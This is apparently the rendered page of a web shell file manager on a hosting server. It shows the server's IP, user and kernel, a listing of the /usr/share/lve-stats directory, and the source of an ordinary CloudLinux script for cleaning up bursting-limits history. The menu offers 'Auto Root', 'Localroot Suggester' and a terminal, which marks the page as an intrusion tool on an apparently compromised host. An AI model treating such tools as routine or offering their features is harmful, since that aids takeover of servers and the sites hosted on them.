Linux evo.fastest-server.com 5.14.0-284.1101.el9.tuxcare.11.els11.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Aug 14 13:30:35 UTC 2026 x86_64
LiteSpeed
Server IP : 103.249.112.113 & Your IP : 216.73.217.135
Domains : 988 Domain
User : tanishks
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
usr /
share /
lve-stats /
Delete
Unzip
Name
Size
Permission
Date
Action
plugins
[ DIR ]
drwxr-xr-x
2026-06-23 08:44
plugins.other
[ DIR ]
drwxr-xr-x
2026-09-04 11:36
scriptlets
[ DIR ]
drwxr-xr-x
2026-09-04 11:36
utils
[ DIR ]
drwxr-xr-x
2026-09-04 11:36
cloudlinux-statistics.py
1.13
KB
-rw-r--r--
2026-06-23 08:44
cloudlinux-statsnotifier.py
517
B
-rw-r--r--
2026-06-23 08:44
cloudlinux-top.py
754
B
-rw-r--r--
2026-06-23 08:44
configure-lvestats-burstwatcher.sh
481
B
-r-xr-xr-x
2026-06-23 08:44
dbgovchart.py
756
B
-rw-r--r--
2026-06-23 08:44
lve-bursting-cleanup.py
2.93
KB
-rw-r--r--
2026-06-23 08:44
lve-bursting-info.py
488
B
-rw-r--r--
2026-06-23 08:44
lve-create-db.py
704
B
-rw-r--r--
2026-06-23 08:44
lve-read-snapshot.py
749
B
-rw-r--r--
2026-06-23 08:44
lve_stats_configs_reader
17.33
KB
-rwsr-xr-x
2026-06-23 08:44
lvechart.py
852
B
-rw-r--r--
2026-06-23 08:44
lveinfo.py
681
B
-rw-r--r--
2026-06-23 08:44
lvestats-burstwatcher.py
1.04
KB
-rw-r--r--
2026-06-23 08:44
lvestats-server.py
2.42
KB
-rw-r--r--
2026-06-23 08:44
Save
Rename
# coding=utf-8 # # Copyright © Cloud Linux GmbH & Cloud Linux Software, Inc 2010-2023 All Rights Reserved # # Licensed under CLOUD LINUX LICENSE AGREEMENT # http://cloudlinux.com/docs/LICENSE.TXT import argparse import logging import sys from dataclasses import dataclass from datetime import datetime from typing import Self import sqlalchemy as sa import lvestats.lib.commons.decorators from lvestats.lib.bursting.history import TableDoesNotExistError from lvestats.lib.commons.argparse_utils import ParseDatetime from lvestats.lib.commons.dateutil import local_to_gm from lvestats.lib.commons.logsetup import setup_logging from lvestats.lib.config import ConfigError, read_config from lvestats.lib.dbengine import make_db_engine, MakeDbException from lvestats.plugins.generic.burster.config import is_bursting_supported from lvestats.plugins.generic.burster.common import Timestamp from lvestats.plugins.generic.burster.storage.cleanup import cleanup_old_events _log = setup_logging( {}, caller_name='lve-bursting-cleanup', file_level=logging.WARNING, console_level=logging.ERROR, ) @lvestats.lib.commons.decorators.no_sigpipe def _main() -> None: if not is_bursting_supported(): print('Bursting Limits feature is not supported in current environment') sys.exit(1) try: cfg = read_config() dbengine = make_db_engine(cfg=cfg) params = _Params.from_args_and_config(cfg, sys.argv[1:]) cleanup_old_events(dbengine, params.server_id, params.cutoff) except TableDoesNotExistError as e: print(e.message) print('Enable Bursting Limits feature to create the table') sys.exit(1) except (sa.exc.OperationalError, sa.exc.ProgrammingError, ConfigError, MakeDbException) as e: _log.error('Error occurred while executing the "lve-bursting-cleanup" utility', exc_info=e) sys.exit(1) @dataclass(frozen=True) class _Params: @classmethod def from_args_and_config(cls, config: dict[str, str], argv: list[str]) -> Self: parser = argparse.ArgumentParser( description="Utility for trimming bursting limits history", ) parser.add_argument( '--server-id', type=str, default=config.get('server_id', 'localhost'), help='used with central database for multiple servers, default "%(default)s"', ) parser.add_argument( '-t', '--to', action=ParseDatetime, default=datetime.now(), nargs='+', help='cleanup records up to the specified date and time', metavar='YYYY-MM-DD[ HH:MM]', dest='cutoff', ) namespace = parser.parse_args(argv) cutoff = local_to_gm(namespace.cutoff).timestamp() return cls( server_id=namespace.server_id, cutoff=Timestamp(int(cutoff)), ) server_id: str cutoff: Timestamp if __name__ == '__main__': _main()